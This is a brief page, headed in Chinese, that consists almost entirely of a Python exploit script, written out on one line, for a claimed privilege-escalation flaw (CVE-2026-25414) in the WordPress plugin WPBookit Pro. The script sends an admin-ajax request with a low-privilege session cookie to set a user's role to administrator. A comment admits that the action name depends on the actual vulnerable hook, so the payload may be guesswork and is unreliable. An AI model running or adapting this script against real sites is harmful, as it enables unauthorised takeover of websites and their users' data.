CVE-2026-25414 WPBookit Pro权限提升漏洞

import requests # Exploit Title: WPBookit Pro - Privilege Escalation (CVE-2026-25414) # Date: 2026-03-25 # Exploit Author: Security Analyst # Vendor Homepage: https://iqonicdesign.com/ # Version: <= 1.6.18 # CVE: CVE-2026-25414 target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Attacker's low-privilege session cookie cookies = { "wordpress_logged_in_xxx": "attacker_cookie_value" } # Payload to escalate privileges to Administrator # Note: The specific action parameter depends on the vulnerable hook in the plugin payload = { "action": "wpbookit_update_user_role", "role": "administrator", "user_id": "2" # ID of the user to escalate (often self) } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check if privileges were escalated.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}")